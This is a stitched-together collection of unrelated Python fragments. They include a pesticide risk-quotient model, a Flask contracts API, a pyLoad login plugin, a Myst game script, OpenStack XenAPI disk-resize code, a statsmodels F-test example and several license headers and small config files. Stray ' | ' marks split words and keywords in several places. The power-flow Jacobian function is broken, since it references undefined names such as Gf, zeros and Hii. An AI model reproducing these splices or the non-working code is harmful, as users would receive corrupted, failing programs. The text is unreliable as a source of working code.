#exceed_boolean = self.out_nds_rq_spray >= 1.0
#self.out_nds_loc_spray = exceed_boolean.map(lambda x:
# 'The risk quotient for non-listed dicot seedlings exposed to the pesticide via spray drift indicates a potential risk.' if x == True
# else 'The risk quotient for non-listed dicot seedlings exposed to the pesticide via spray drift indicates that potential risk is minimal.')
return self.out_nds_loc_spray
def lds_rq_dry(self):
"""
Risk Quotient for LISTED DICOT seedlings exposed to Pesticide X in DRY areas
"""
self.out_lds_rq_dry = self.out_total_dry / self.noaec_listed_seedling_emergence_dicot
return self.out_lds_rq_dry
def loc_lds_dry(self):
"""
Level of concern for listed dicot seedlings exposed to pesticideX in dry areas
"""
msg_pass = "The ri | sk quotient for listed dicot seedlings exposed to the pesticide via runoff to dry areas indicates a potential risk."
msg_fail = "The risk quotient for listed dicot seedlings exposed to the pesticide via runoff to dry areas indicates that potential risk is minimal."
boo_ratios = [ratio >= 1.0 fo | r ratio in self.out_lds_rq_dry]
self.out_lds_loc_dry = pd.Series([msg_pass if boo else msg_fail for boo in boo_ratios])
#exceed_boolean = self.out_lds_rq_dry >= 1.0
#self.out_lds_loc_dry = exceed_boolean.map(lambda x:
# 'The risk quotient for listed dicot seedlings exposed to the pesticide via runoff to dry areas indicates a potential risk.' if x == True
# else 'The risk quotient for listed dicot seedlings exposed to the pesticide via runoff to dry areas indicates that potential risk is minimal.')
return self.out_lds_loc_dry
def lds_rq_semi(self):
"""
Risk Quotient for LISTED DICOT seedlings exposed to Pesticide X in SEMI-AQUATIC areas
"""
self.out_lds_rq_semi = self.out_total_semi / self.noaec_listed_seedling_emergence_dicot
return self.out_lds_rq_semi
def loc_lds_semi(self):
"""
Level of concern for listed dicot seedlings exposed to pesticide X in dry areas
"""
msg_pass = "The risk quotient for listed dicot seedlings exposed to the pesticide via runoff to semi-aquatic areas indicates a potential risk."
msg_fail = "The risk quotient for listed dicot seedlings exposed to the pesticide via runoff to semi-aquatic areas indicates that potential risk is minimal."
boo_ratios = [ratio >= 1.0 for ratio in self.out_lds_rq_semi]
self.out_lds_loc_semi = pd.Series([msg_pass if boo else msg_fail for boo in boo_ratios])
#exceed_boolean = self.out_lds_rq_semi >= 1.0
#self.out_lds_loc_semi = exceed_boolean.map(lambda x:
# 'The risk quotient for listed dicot seedlings exposed to the pesticide via runoff to semi-aquatic areas indicates a potential risk.' if x == True
# else 'The risk quotient for listed dicot seedlings exposed to the pesticide via runoff to semi-aquatic areas indicates that potential risk is minimal.')
return self.out_lds_loc_semi
def lds_rq_spray(self):
"""
Risk Quotient for LISTED DICOT seedlings exposed to Pesticide X via SPRAY drift
"""
self.out_lds_rq_spray = self.out_spray / self.out_min_lds_spray
return self.out_lds_rq_spray
def loc_lds_spray(self):
"""
Level of concern for listed dicot seedlings exposed to pesticide X via spray drift
"""
msg_pass = "The risk quotient for listed dicot seedlings exposed to the pesticide via spray drift indicates a potential risk."
msg_fail = "The risk quotient for listed dicot seedlings exposed to the pesticide via spray drift indicates that potential risk is minimal."
boo_ratios = [ratio >= 1.0 for ratio in self.out_lds_rq_spray]
self.out_lds_loc_spray = pd.Series([msg_pass if boo else msg_fail for boo in boo_ratios])
#exceed_boolean = self.out_lds_rq_spray >= 1.0
#self.out_lds_loc_spray = exceed_boolean.map(
# lambda x:
# 'The risk quotient for listed dicot seedlings exposed to the pesticide via spray drift indicates a potential risk.' if x == True
# else 'The risk quotient for listed dicot seedlings exposed to the pesticide via spray drift indicates that potential risk is minimal.')
return self.out_lds_loc_spray
def min_nms_spray(self):
"""
determine minimum toxicity concentration used for RQ spray drift values
non-listed monocot EC25 and NOAEC
"""
s1 = pd.Series(self.ec25_nonlisted_seedling_emergence_monocot, name='seedling')
s2 = pd.Series(self.ec25_nonlisted_vegetative_vigor_monocot, name='vegetative')
df = pd.concat([s1, s2], axis=1)
self.out_min_nms_spray = pd.DataFrame.min(df, axis=1)
return self.out_min_nms_spray
def min_lms_spray(self):
"""
determine minimum toxicity concentration used for RQ spray drift values
listed monocot EC25 and NOAEC
"""
s1 = pd.Series(self.noaec_listed_seedling_emergence_monocot, name='seedling')
s2 = pd.Series(self.noaec_listed_vegetative_vigor_monocot, name='vegetative')
df = pd.concat([s1, s2], axis=1)
self.out_min_lms_spray = pd.DataFrame.min(df, axis=1)
return self.out_min_lms_spray
def min_nds_spray(self):
"""
determine minimum toxicity concentration used for RQ spray drift values
non-listed dicot EC25 and NOAEC
"""
s1 = pd.Series(self.ec25_nonlisted_seedling_emergence_dicot, name='seedling')
|
from setuptools import setup
version = '0.4'
setup(
name = 'django-cache-decorator',
packages = ['django_cache_decorator'],
| license = 'MIT',
version = version,
description = 'Easily add caching to functions within a django project.',
long_description=open('README.md').read(),
author = 'Richard Caceres',
author_email = 'me@rchrd.net',
url = 'https://github.com/rchrd2/django-cache-decorator/',
download_url = 'https://github.com/rchrd2/django-cache-decorator/tarball/' + version,
keywords = ['django','caching','decorator'],
classifiers = [],
)
| |
tratos_api = restful.Api(contratos, prefix="/api/v1")
# receita_api.decorators = [cors.crossdomain(origin='*')]
# class Date(fields.Raw):
# def format(self, value):
# return str(value)
# Parser for RevenueAPI arguments
contratos_list_parser = RequestParser()
contratos_list_parser.add_argument('cnpj')
contratos_list_parser.add_argument('orgao')
contratos_list_parser.add_argument('modalidade')
contratos_list_parser.add_argument('evento')
contratos_list_parser.add_argument('objeto')
contratos_list_parser.add_argument('processo_administrativo')
contratos_list_parser.add_argum | ent('nome_fornecedor')
contratos_list_parser.add_argument('licitacao')
contratos_list_parser.add_a | rgument('group_by', default='')
contratos_list_parser.add_argument('order_by', 'id')
contratos_list_parser.add_argument('page', type=int, default=0)
contratos_list_parser.add_argument('per_page_num', type=int, default=100)
# Fields for ContratoAPI data marshal
contratos_fields = { 'id': fields.Integer()
, 'orgao': fields.String()
, 'data_assinatura': fields.DateTime(dt_format='iso8601')
, 'vigencia': fields.Integer()
, 'objeto': fields.String()
, 'modalidade': fields.String()
, 'evento': fields.String()
, 'processo_administrativo': fields.String()
, 'cnpj': fields.String()
, 'nome_fornecedor': fields.String()
, 'valor': fields.Float()
, 'licitacao': fields.String()
, 'data_publicacao': fields.DateTime(dt_format='iso8601') }
class ContratoApi(restful.Resource):
def filter(self, contratos_data):
# Extract the arguments in GET request
args = contratos_list_parser.parse_args()
cnpj = args['cnpj']
nome_fornecedor = args['nome_fornecedor']
orgao = args['orgao']
modalidade = args['modalidade']
evento = args['evento']
objeto = args['objeto']
processo_administrativo = args['processo_administrativo']
licitacao = args['licitacao']
if cnpj:
contratos_data = contratos_data.filter(Contrato.cnpj == cnpj)
if nome_fornecedor:
nome_query = u'%{}%'.format(nome_fornecedor)
contratos_data = contratos_data.filter(Contrato.nome_fornecedor.ilike(nome_query))
if orgao:
orgao_query = u'%{}%'.format(orgao)
contratos_data = contratos_data.filter(Contrato.orgao.ilike(orgao_query))
if modalidade:
modalidade_query = u'%{}%'.format(modalidade)
contratos_data = contratos_data.filter(Contrato.modalidade.ilike(modalidade_query))
if evento:
evento_query = u'%{}%'.format(evento)
contratos_data = contratos_data.filter(Contrato.evento.ilike(evento_query))
if objeto:
objeto_query = u'%{}%'.format(objeto)
contratos_data = contratos_data.filter(Contrato.objeto.ilike(objeto_query))
if processo_administrativo:
processo_administrativo_query = u'%{}%'.format(processo_administrativo)
contratos_data = contratos_data.filter(Contrato.processo_administrativo.ilike(processo_administrativo_query))
if licitacao:
licitacao_query = u'%{}%'.format(licitacao)
contratos_data = contratos_data.filter(Contrato.licitacao.ilike(licitacao_query))
return contratos_data
def order(self, contratos_data):
args = contratos_list_parser.parse_args()
order_by = args['order_by'].split(',')
if order_by:
order_by_args = []
for field_name in order_by:
desc_ = False
if field_name.startswith('-'):
field_name = field_name[1:]
desc_ = True
if field_name in contratos_fields or field_name == 'count':
order_by_arg = field_name
if desc_:
order_by_arg = desc(order_by_arg)
order_by_args.append(order_by_arg)
contratos_data = contratos_data.order_by(*order_by_args)
return contratos_data
def paginate(self, contratos_data):
args = contratos_list_parser.parse_args()
page = args['page']
per_page_num = args['per_page_num']
# Limit que number of results per page
contratos_data = contratos_data.offset(page*per_page_num).limit(per_page_num)
return contratos_data
class ContratoListApi(ContratoApi):
@restful.marshal_with(contratos_fields)
def get(self):
contratos_data = db.session.query(Contrato)
contratos_data = self.order(contratos_data)
contratos_data = self.filter(contratos_data)
headers = {
# Add 'Access-Control-Expose-Headers' header here is a workaround
# until Flask-Restful adds support to it.
'Access-Control-Expose-Headers': 'X-Total-Count',
'X-Total-Count': contratos_data.count()
}
contratos_data = self.paginate(contratos_data)
return contratos_data.all(), 200, headers
contratos_api.add_resource(ContratoListApi, '/contrato/list')
class ContratoAggregateApi(ContratoApi):
def get(self):
args = contratos_list_parser.parse_args()
group_by = args['group_by'].split(',')
group_by_fields = []
# Always return a count
query_args = [func.count(Contrato.id).label('count')]
keys = []
temporary_keys = []
partial_fields = []
# Tuples with SQLAlchemy function and args to get parts of values.
# This allows to group by years or months for example.
parts = {
'year': (lambda field: [func.extract('year', field)],
lambda values: list(values)[0]),
'month': (lambda field: [func.extract('year', field), func.extract('month', field)],
lambda values: '-'.join([format(v, '02') for v in values])),
'day': (lambda field: [func.extract('year', field), func.extract('month', field), func.extract('day', field)],
lambda values: '-'.join([format(v, '02') for v in values])),
}
for field_name in group_by:
part = None
if field_name.endswith(tuple(map(lambda a: '__{}'.format(a), parts.keys()))):
# User asked to group using only part of value.
# Get the original field name and which part we should use.
# "?group_by=data_publicacao__year" results in
# field_name = 'data_publicacao'
# part = 'year'
field_name, part = field_name.split('__', 1)
if field_name in contratos_fields:
group_by_field = [getattr(Contrato, field_name)]
if part:
# Apply the "part" function
group_by_field = parts[part][0](group_by_field[0])
temporary_keys.extend(['{}__{}'.format(field_name, i) for i in range(len(group_by_field))])
partial_fields.append({
'field_name': field_name,
'count': len(group_by_field),
'part_name': part,
})
else:
keys.append(field_name)
temporary_keys.append(field_name)
group_by_fields.extend(group_by_field)
query_args.extend(group_by_field)
query_args.append(func.sum(Contrato.valor).label('valor'))
keys.append('valor')
temporary_keys.append('valor')
contratos_data = db.session.query(*query_args)
if group_by_fields:
contratos_data = contratos_data.group_by(*group_by_fields)
contratos_data = self.order(contratos_data)
contratos_data = self.filter(contratos_data)
headers = {
# Add 'Access-Control-Expose-Headers' header here is a workaround
# until Flask-Restful adds support to it.
|
# Copyright (c) 2011 CSIRO
# Australia Telescope National Facility (ATNF)
# Commonwealth Scientific and Industrial Research Organisation (CSIRO)
# PO Box 76, Epping NSW 1710, Australia
# atnf-enquiries@csiro.au
#
# This file is part of the ASK | AP software distribution.
#
# The ASKAP software distribution is free software: you can redistribute it
# and/or modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 2 of the Lice | nse
# or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA.
#
|
# -*- | coding: utf-8 -*-
# Generated by Django 1.11 on 2017-05-09 13:44
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('api', '0002_tablefield_allow_null'),
]
operations = [
migrations.AddField(
model_name='tablefield',
name='inner_type',
field=models.CharField(default='', max_length=250),
),
]
| |
# -*- coding: utf-8 -*-
from module.plugins.internal.XFSPAccount import XFSPAccount
class RyushareCom(XFSPAccount):
__name__ = "RyushareCom"
__version__ = "0.03"
__type__ = "account"
__description__ = """ryushare.com account plugin"""
__author_name__ = ("zoidberg", "trance4us")
__author_mail__ = ("zoidberg@mujmail.cz", "")
MAIN_PAGE = "http://ryushare.com/"
def login(self, user, data, req):
req.lastURL = "http://ryushare.com/login.python"
html = req.load("http://ryushare.com/login.python",
post={"login": user, "password": data["password"] | , "op": "login"})
if 'Incorrect Login or Password' in html or '>Error<' in html:
| self.wrongPassword()
|
from numpy import matrix
# integer Size; integer nPQ, Matrix G; Matrix B; Array U
def JacMat(Size, nPQ, G, B, U):
# Method Of Every Entry Of Jacbean Matrix
f = U.real
e = U.imag
JacMat = zeros(Size, Size)
def Hij(B, G, e, f):
return -B*e+Gf
def Nij(B, G, e, f):
return G*e+Bf
def Jij(B, G, e, f):
return -B*f-G*e
def Lij(B, G, e, f):
return -B*e+Gf
def Rij():
return 0
def Sij():
return 0
def Aii(GM, BM, eA, fA, i):
aii = 0
for j in range(1, len(eA)):
aii = aii + G[i][j]*e[j]-B[i][j]*f[j]
return aii
def Bii(GM, BM, eA, fA, i):
bii = 0
for j in range(1, len(eA)):
bii = bii + G[i][j]*f[j]+B[i][j]*e[j]
return bii
if isSquareM(B)==True and isSquareM(G)==True and len(B) == len(G) == G.dim == B.dim:
# Build Jacbean Matrix
for m in range(0, Size, 2): #H
for n in range(0, Size, 2):
if m==n:
JacMat[m][n] = Hii(B[m][m], G[m][m], e[m], f[m])
els | e:
JacMat[m][n] = Hij(B[m][n], G[m][n], e[m], f[m])
for m in range(0, Size, 2): #N
for n in range(1, Size, 2):
if m==n:
JacMat[m][n] = Nii(B[m][m], G[m][m], e[m], f[m])
else:
JacMat[m][n] = Nij(B[m][n], G[m][n], e[m], f[m])
for m in range(1, Size, 2): #J
for n in range(0, nPQ*2, 2):
if m==n:
JacMat[m][n] = Jii(B[m][m], G[m][m], e[m], | f[m])
else:
JacMat[m][n] = Jij(B[m][n], G[m][n], e[m], f[m])
for m in range(1, Size, 2): #L
for n in range(1, nPQ*2, 2):
if m==n:
JacMat[m][n] = Lii(B[m][m], G[m][m], e[m], f[m])
else:
JacMat[m][n] = Lij(B[m][n], G[m][n], e[m], f[m])
for m in range(1, Size, 2): #R
for n in range(1, nPQ*2, 2):
if m==n:
JacMat[m][n] = Rii(f[m])
else:
JacMat[m][n] = Rij()
for m in range(1, Size, 2): #S
for n in range(nPQ*2+1, Size, 2):
if m==n:
JacMat[m][n] = Sii(e[m])
else:
JacMat[m][n] = Sij()
print JacMat
return JacMat
else:
print "Parameter Unmatched"
return False
|
"""
WSGI config f | or batfinancas project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/1.9/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "batfinancas.setti | ngs")
application = get_wsgi_application()
|
# -*- coding: utf-8 -*-
""" *==LICENSE==*
CyanWorlds.com Engine - MMOG client, server and tools
Copyright (C) 2011 Cyan Worlds, Inc.
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
Additional permissions under GNU GPL version 3 section 7
If you modify this Program, or any covered work, by linking or
combining it with any of RAD Game Tools Bink SDK, Autodesk 3ds Max SDK,
NVIDIA PhysX SDK, Microsoft DirectX SDK, OpenSSL library, Independent
JPEG Group JPEG library, Microsoft Windows Media SDK, or Apple QuickTime SDK
(or a modified version of those libraries),
containing parts covered by the terms of the Bink SDK EULA, 3ds Max EULA,
PhysX SDK EULA, DirectX SDK EULA, OpenSSL and SSLeay licenses, IJG
JPEG Library README, Windows Media SDK EULA, or QuickTime SDK EULA, the
licensors of this Program grant you additional
permission to convey the resulting work. Corresponding Source for a
non-source form of such a combination shall include the source code for
the parts of OpenSSL and IJG JPEG Library used as well as that of the covered
work.
You can contact Cyan Worlds, Inc. by email legal@cyan.com
or by snail mail at:
Cyan Worlds, Inc.
14617 N Newport Hwy
Mead, WA 99021
*==LICENSE==* """
"""
Module: xPodBahroSymbol
Age: Global
Date: January 2007
Author: Derek Odell
"""
from Plasma import *
from PlasmaTypes import *
import random
# define the attributes that will be entered in max
respBahroSymbol = ptAttribResponder(1, "resp: Bahro Symbol", ["beginning","middle","end"], netForce=1)
SymbolAppears = ptAttribInt(2, "Frame the Symbol Appears", 226, (0,5000))
DayFrameSize = ptAttribInt(3, "Frames in One Day", 2000, (0,5000))
animMasterDayLight = ptAttribAnimation(4, "Master Animation Object")
respSFX = ptAttribResponder(5, "resp: Symbol SFX", ["stop","play"],netForce = 1)
# define globals
kDayLengthInSeconds = 56585.0
# The max file "full day" animation in Payiferen is 2000 frames
# or 66.666 (2000 / 30) seconds long. We need it to last 56585
# seconds which means the animation need | s to be played back at
# 0.035345 (2000 / 56585) frames per second. Which means animation
# speed needs to be set to 0.0011781666 ((2000 / 56585) / 30)
kDayAnimationSpeed = (DayFrameSize.value / kDayLengthInSeconds) / 30.0
# The Bahro symbol is set to trigger on frame 226 of 2000 which
# is 11.3% (226 / 2000) into the day. 11.3% into a 56585 second
# day is 6394.105 seconds (56585 * 0.113). That gives us ou | r base
# point for every other age that needs the Bahro symbol.
kTimeWhenSymbolAppears = kDayLengthInSeconds * (float(SymbolAppears.value) / float(DayFrameSize.value))
#====================================
class xPodBahroSymbol(ptResponder):
###########################
def __init__(self):
ptResponder.__init__(self)
self.id = 5240
version = 1
self.version = version
print "__init__xPodBahroSymbol v.", version,".0"
random.seed()
###########################
def OnServerInitComplete(self):
self.ISetTimers()
respSFX.run(self.key, state="stop")
if type(animMasterDayLight.value) != type(None):
timeIntoMasterAnim = PtGetAgeTimeOfDayPercent() * (DayFrameSize.value / 30.0)
print "xPodBahroSymbol.OnServerInitComplete: Master anim is skipping to %f seconds and playing at %f speed" % (timeIntoMasterAnim, kDayAnimationSpeed)
animMasterDayLight.animation.skipToTime(timeIntoMasterAnim)
animMasterDayLight.animation.speed(kDayAnimationSpeed)
animMasterDayLight.animation.resume()
###########################
def OnNotify(self,state,id,events):
print "xPodBahroSymbol.OnNotify: state=%f id=%d events=" % (state,id),events
if id == respBahroSymbol.id:
PtAtTimeCallback(self.key, 32, 3)
###########################
def OnTimer(self,TimerID):
print "xPodBahroSymbol.OnTimer: callback id=%d" % (TimerID)
if self.sceneobject.isLocallyOwned():
if TimerID == 1:
respBahroSymbol.run(self.key, state="beginning")
respSFX.run(self.key, state="play")
elif TimerID == 2:
self.ISetTimers()
elif TimerID == 3:
respBahroSymbol.run(self.key, state="end")
respSFX.run(self.key, state="stop")
###########################
def ISetTimers(self):
beginningOfToday = PtGetDniTime() - int(PtGetAgeTimeOfDayPercent() * kDayLengthInSeconds)
timeWhenSymbolAppearsToday = beginningOfToday + kTimeWhenSymbolAppears
if timeWhenSymbolAppearsToday > PtGetDniTime():
timeTillSymbolAppears = timeWhenSymbolAppearsToday - PtGetDniTime()
PtAtTimeCallback(self.key, timeTillSymbolAppears, 1)
print "xGlobalDoor.key: %d%s" % (random.randint(0,100), hex(int(timeTillSymbolAppears + 1234)))
else:
print "xPodBahroSymbol: You missed the symbol for today."
timeLeftToday = kDayLengthInSeconds - int(PtGetAgeTimeOfDayPercent() * kDayLengthInSeconds)
timeLeftToday += 1 # because we want it to go off right AFTER the day flips
PtAtTimeCallback(self.key, timeLeftToday, 2)
print "xPodBahroSymbol: Tomorrow starts in %d seconds" % (timeLeftToday)
###########################
def OnBackdoorMsg(self, target, param):
if target == "bahro":
if self.sceneobject.isLocallyOwned():
print "xPodBahroSymbol.OnBackdoorMsg: Work!"
if param == "appear":
PtAtTimeCallback(self.key, 1, 1)
|
#!/bin/env python
import npyscreen
class MainFm(npyscreen.Form):
def create(self):
self.mb = self.add(npyscreen.MonthBox,
| use_datetime = True)
class TestApp(npyscreen.NPSAppManaged):
def onStart(self):
| self.addForm("MAIN", MainFm)
if __name__ == "__main__":
A = TestApp()
A.run()
|
(reason=reason)
step = make_step_decorator(context, instance,
self._virtapi.instance_update)
@step
def fake_step_to_match_resizing_up():
pass
@step
def rename_and_power_off_vm(undo_mgr):
self._resize_ensure_vm_is_shutdown(instance, vm_ref)
self._apply_orig_vm_name_label(instance, vm_ref)
def restore_orig_vm():
# Do not need to restore block devices, not yet been removed
self._restore_orig_vm_and_cleanup_orphan(instance, None)
undo_mgr.undo_with(restore_orig_vm)
@step
def create_copy_vdi_and_resize(undo_mgr, old_vdi_ref):
new_vdi_ref, new_vdi_uuid = vm_utils.resize_disk(self._session,
instance, old_vdi_ref, instance_type)
def cleanup_vdi_copy():
vm_utils.destroy_vdi(self._session, new_vdi_ref)
undo_mgr.undo_with(cleanup_vdi_copy)
return new_vdi_ref, new_vdi_uuid
@step
def transfer_vhd_to_dest(new_vdi_ref, new_vdi_uuid):
self._migrate_vhd(instance, new_vdi_uuid, dest, sr_path, 0)
# Clean up VDI now that it's been copied
vm_utils.destroy_vdi(self._session, new_vdi_ref)
@step
def fake_step_to_be_executed_by_finish_migration():
pass
undo_mgr = utils.UndoManager()
try:
fake_step_to_match_resizing_up()
rename_and_power_off_vm(undo_mgr)
old_vdi_ref, _ignore = vm_utils.get_vdi_for_vm_safely(
self._session, vm_ref)
new_vdi_ref, new_vdi_uuid = create_copy_vdi_and_resize(
undo_mgr, old_vdi_ref)
transfer_vhd_to_dest(new_vdi_ref, new_vdi_uuid)
except Exception, error:
msg = _("_migrate_disk_resizing_down failed. "
"Restoring orig vm due_to: %{exception}.")
LOG.exception(msg, instance=instance)
undo_mgr._rollback()
raise exception.InstanceFaultRollback(error)
def _migrate_disk_resizing_up(self, context, instance, dest, vm_ref,
sr_path):
self._apply_orig_vm_name_label(instance, vm_ref)
# 1. Create Snapshot
label = "%s-snapshot" % instance['name']
with vm_utils.snapshot_attached_here(
self._session, instance, vm_ref, label) as vdi_uuids:
self._update_instance_progress(context, instance,
step=1,
total_steps=RESIZE_TOTAL_STEPS)
# 2. Transfer the immutable VHDs (base-copies)
#
# The first VHD will be the leaf (aka COW) that is being used by
# the VM. For this step, we're only interested in the immutable
# VHDs which are all of the parents of the leaf VHD.
for seq_num, vdi_uuid in itertools.islice(
enumerate(vdi_uuids), 1, None):
self._migrate_vhd(instance, vdi_uuid, dest, sr_path, seq_num)
self._update_instance_progress(context, instance,
step=2,
total_steps=RESIZE_TOTAL_STEPS)
# 3. Now power down the instance
self._resize_ensure_vm_is_shutdown(instance, vm_ref)
self._update_instance_progress(context, instance,
step=3,
total_steps=RESIZE_TOTAL_STEPS)
# 4. Transfer the COW VHD
vdi_ref, vm_vdi_rec = vm_utils.get_vdi_for_vm_safely(
self._session, vm_ref)
cow_uuid = vm_vdi_rec['uuid']
self._migrate_vhd(instance, cow_uuid, dest, sr_path, 0)
self._update_instance_progress(context, instance,
step=4,
total_steps=RESIZE_TOTAL_STEPS)
def _apply_orig_vm_name_label(self, instance, vm_ref):
# NOTE(sirp): in case we're resizing to the same host (for dev
# purposes), apply a suffix to name-label so the two VM records
# extant until a confirm_resize don't collide.
name_label = self._get_orig_vm_name_label(instance)
vm_utils.set_vm_name_label(self._session, vm_ref, name_label)
def migrate_disk_and_power_off(self, context, instance, dest,
instance_type, block_device_info):
"""Copies a VHD from one host machine to another, possibly
resizing filesystem before hand.
:param instance: the instance that owns the VHD in question.
:param dest: the destination host machine.
:param instance_type: instance_type to resize to
"""
# 0. Zero out the progress to begin
self._update_instance_progress(context, instance,
step=0,
total_steps=RESIZE_TOTAL_STEPS)
vm_ref = self._get_vm_opaque_ref(instance)
sr_path = vm_utils.get_sr_path(self._session)
old_gb = instance['root_gb']
new_gb = instance_type['root_gb']
resize_down = old_gb > new_gb
if resize_down:
self._migrate_disk_resizing_down(
context, instance, dest, instance_type, vm_ref, sr_path)
else:
self._migrate_disk_resizing_up(
context, instance, dest, vm_ref, sr_path)
self._detach_block_devices_from_orig_vm(instance, block_device_info)
# NOTE(sirp): disk_info isn't used by the xenapi driver, instead it
# uses a staging-area (/images/instance<uuid>) and sequence-numbered
# VHDs to figure out how to reconstruct the VDI chain after syncing
disk_info = {}
return disk_info
def _detach_block_devices_from_orig_vm(self, instance, block_device_info):
block_device_mapping = virt_driver.block_device_info_get_mapping(
block_device_info)
name_label = self._get_orig_vm_name_label(instance)
for vol in block_device_mapping:
connection_info = vol['connection_info']
mount_device = vol['mount_device'].rpartition("/")[2]
self._volumeops.detach_volume(connection_info, name_label,
mount_device)
def _resize_instance(self, instance, root_vdi):
"""Resize an instances root disk."""
new_disk_size = instance['root_gb'] * 1024 * 1024 * 1024
if not new_disk_size:
return
# Get current size of VDI
virtual_size = se | lf._session.call_xenapi('VDI.get_virtual_size',
root_vdi['ref'])
virtual_size = int(virtual_size)
old_gb = virtual_size / (1024 * 1024 * 1024)
new_gb = instance['root_gb']
if virtual_size < new_disk_size:
# Resize up. Simple VDI resize will do the trick
vdi_uuid = root_vdi['uuid']
LOG.debug(_("Resizing up VDI | %(vdi_uuid)s from %(old_gb)dGB to "
"%(new_gb)dGB"), locals(), instance=instance)
resize_func_name = self.check_resize_func_name()
self._session.call_xenapi(resize_func_name, root_vdi['ref'],
str(new_disk_size))
LOG.debug(_("Resize complete"), instance=instance)
def check_resize_func_name(self):
"""Check the function name used to resize an instance based
on product_brand and product_version."""
brand = self._session.product_brand
version = self._session.product_version
# To maintain backwards compatibility. All recent versions
# should use VDI.resize
if bool(version) and bool(brand):
xcp = brand == 'XCP'
r1_2_or_above = (
(
version[0] == 1
and version[1] > 1
)
or version[0] > 1)
xenserver = brand == 'XenServer'
r6_or_above |
from django.conf.urls import patterns, url
urlpatterns = patterns('',
url(r'^$', 'recollect.views.home', nam | e='home'),
url(r'^albums$', 'recollect.views.albums', name='albums'),
url(r'^album/(?P<album_slug>[A-z0-9-]+)$', | 'recollect.views.album', name='album'),
)
|
# -*- coding: utf-8 -*-
# Copyright (C) 2010 Holoscópio Tecnologia
# Author: Luciana Fujii Pontello <luciana@holoscopio.com>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be u | seful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General | Public License for more details.
#
# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
import gobject
import gtk
from sltv.settings import UI_DIR
from core import InputUI
class AutoAudioInputUI(InputUI):
def __init__(self):
InputUI.__init__(self)
def get_widget(self):
return None
def get_name(self):
return "AutoAudio"
def get_description(self):
return "Auto Audio Source"
|
"""
Author: Eric J. Ma
License: MIT
A Python module that provides helper functions and variables for encoding amino
acid features in the protein interaction network. We encode features in order
to feed the data into the neural f | ingerprinting software later on.
"""
amino_acids = [
"A",
"B",
"C",
"D",
"E",
"F",
"G",
"H",
"I",
"J",
"K",
"L",
"M",
"N",
"P",
"Q",
"R",
"S",
| "T",
"V",
"W",
"X",
"Y",
"Z",
]
|
from abc import ABCMeta, abstractmethod
class NotificationSource():
"""
Abstract class for all notification sources.
"""
__metaclass__ = ABCMeta
@abstractmethod
def poll(self):
"""
Used to get a set of changes between data retrieved in this call and the las | t.
"""
raise NotImplementedError('N | o concrete implementation!')
@abstractmethod
def name(self):
"""
Returns a unique name for the source type.
"""
raise NotImplementedError('No concrete implementation!')
|
# -*- coding: utf-8 -*-
"""Example: Test for equality of coefficients across groups/regressions
Created on Sat Mar 27 22:36:51 2010
Author: josef-pktd
"""
import numpy as np
from scipy import stats
#from numpy.testing import assert_almost_equal
import scikits.statsmodels as sm
from scikits.statsmodels.sandbox.regression.onewaygls import OneWayLS
#choose example
#--------------
example = ['null', 'diff'][1] #null: identical coefficients across groups
example_size = [10, 1 | 00][0]
example_size = [(10,2), (100,2)][0]
example_groups = ['2', '2-2'][1]
#'2-2': 4 groups,
# groups 0 and 1 and groups 2 and 3 have identical parameters in DGP
#generate example
#----------------
np.random.seed(87654589)
nobs, nvars = example_size
x1 = np.random.normal(size=(nobs, nvars))
y1 = 10 + np.dot(x1,[15.]*nvars) + 2*np.random.normal(size=nobs)
x1 = sm.add_constant(x1) #, prepend=True)
#assert_almost_equal(x1, np.vander(x1[:,0],2), 16)
#res1 = sm.OLS(y1, x1).fit()
#pri | nt res1.params
#print np.polyfit(x1[:,0], y1, 1)
#assert_almost_equal(res1.params, np.polyfit(x1[:,0], y1, 1), 14)
#print res1.summary(xname=['x1','const1'])
#regression 2
x2 = np.random.normal(size=(nobs,nvars))
if example == 'null':
y2 = 10 + np.dot(x2,[15.]*nvars) + 2*np.random.normal(size=nobs) # if H0 is true
else:
y2 = 19 + np.dot(x2,[17.]*nvars) + 2*np.random.normal(size=nobs)
x2 = sm.add_constant(x2)
# stack
x = np.concatenate((x1,x2),0)
y = np.concatenate((y1,y2))
if example_groups == '2':
groupind = (np.arange(2*nobs)>nobs-1).astype(int)
else:
groupind = np.mod(np.arange(2*nobs),4)
groupind.sort()
#x = np.column_stack((x,x*groupind[:,None]))
def print_results(res):
groupind = res.groups
#res.fitjoint() #not really necessary, because called by ftest_summary
ft = res.ftest_summary()
#print ft[0] #skip because table is nicer
print '\nTable of F-tests for overall or pairwise equality of coefficients'
print 'hypothesis F-statistic p-value df_denom df_num reject'
for row in ft[1]:
print row,
if row[1][1]<0.05:
print '*'
else:
print ''
print 'Notes: p-values are not corrected for many tests'
print ' (no Bonferroni correction)'
print ' * : reject at 5% uncorrected confidence level'
print 'Null hypothesis: all or pairwise coefficient are the same'
print 'Alternative hypothesis: all coefficients are different'
print '\nComparison with stats.f_oneway'
print stats.f_oneway(*[y[groupind==gr] for gr in res.unique])
